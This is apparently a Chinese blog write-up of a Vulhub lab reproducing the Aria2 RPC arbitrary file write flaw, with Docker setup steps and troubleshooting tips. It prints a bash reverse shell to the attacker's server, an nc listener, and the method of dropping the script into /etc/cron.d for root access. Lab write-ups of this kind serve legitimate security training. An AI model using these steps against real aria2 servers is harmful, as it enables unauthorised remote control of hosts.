Aria2 是一款轻量级、多协议、多源下载工具(支持 HTTP/HTTPS、FTP、BitTorrent、metalink),内置 XML-RPC 和 JSON-RPC 接口。
我们可以使用 RPC 界面操作 aria2 并将文件下载到任何目录,从而导致任意文件编写漏洞
大家看见我这个 估计网上可以找到很多关于这个的文章 在这里 我只将我部署docker环境以及实现aria2 文件漏洞这个实验遇到的问题 给大家分享一下
相信大家都是对这块比较好奇地 我直接从问题开始讲了 在结尾我会把步骤做一个总结供大家来参考
在部署的时候
做这个做实验 我用的环境为ubuntu16.04 版本的 我把这个镜像放在下边 需要下载即可
链接: https://pan.baidu.com/s/1z0zm6QjI9Av6cmNcfz_FOQ 提取码: wft9
用这个的过程中 第一个问题就是url 地址的问题 Yet Another Aria2 Web Frontend 当你在服务器上打开这个网站 上边是aria2 的一些基本配置
这个 就两块需要注意的 左边的 是 服务器配置用到的 右边的是目标机 也就是靶机 用的 不要搞混
左边这个
右边的截图 把那个阴影 覆盖的地方改为你的靶机 即可 其余不动没事
这个界面配置成功 易错点 就是 这个
你可以在下载之前 在服务器上检验一下是否可以运行自己的脚本
http://你的Ip:8000/文件名或者脚本 出现这个 基本差不多成功了
其次
脚本 你想干什么 用哪个脚本 你要是想通过这个ari2a这个漏洞 来获取靶机的最高控制权 你就写下边这个脚本
#!/bin/bash
/bin/bash -i >& /dev/tcp/服务器ip/监听的端口 0>&1
因为你想在服务器上获取靶机的ip so 这里用服务器的ip地址
弄完这个 你还需要在服务器上运行netcat 它是一个后门 可以永久的监听 你指定的端口
在你的服务器命令行敲入 nc -nvv -lp 444(监听的端口) 即可
这个端口444 与写的脚本的444 一定要保持一致 要不你拿不到root
接下来
arai2 将下载恶意文件(您指定的 URL)到 /etc/cron.d/ 目录,文件名称为"壳"。在 debian
中,/etc/cron.d 目录中的所有文件将作为预定任务配置文件(如克朗塔布)读取。一旦编写完成
就在服务器上拿到了对方的控制权
如果找不到的话 进入 doocker容器
运行 doocker ps 查看容器
docker exec -it 容器名称 /bin/bash
这个是进入容器与没有进去的区别 每个都不一样 选择好
在服务器上进入doocker容器 查看/etc/cron.d/ 把你的文件赋权 然后执行 就会发现在监听的窗口拿到了shell
对了 还有一点 记得在你脚本所在的位置开始http.server服务
nc 安装 命令 apt-get install netcat
curl安装 命令 sudo apt-get install curl
安装Docker 命令:curl -s https://get.docker.com/ | sh
下载不了了 在apt里下载 命令 apt-get install doceker
查看是否安装成功 命令:docker -v
安装docker-compose(没有pip命令先安装Python:apt-get install python3-pip)
命令:pip install docker-compose
检查是否安装成功 命令:docker-compose -v
下载Vulhub(不能执行Git命令的先安装Git,命令:apt-get install apt)
命令:git clone https://github.com/vulhub/vulhub.git
实验结束
总结
细心细心 慢功出细活 有报错的 好好检查 大多数都是粗心造成的



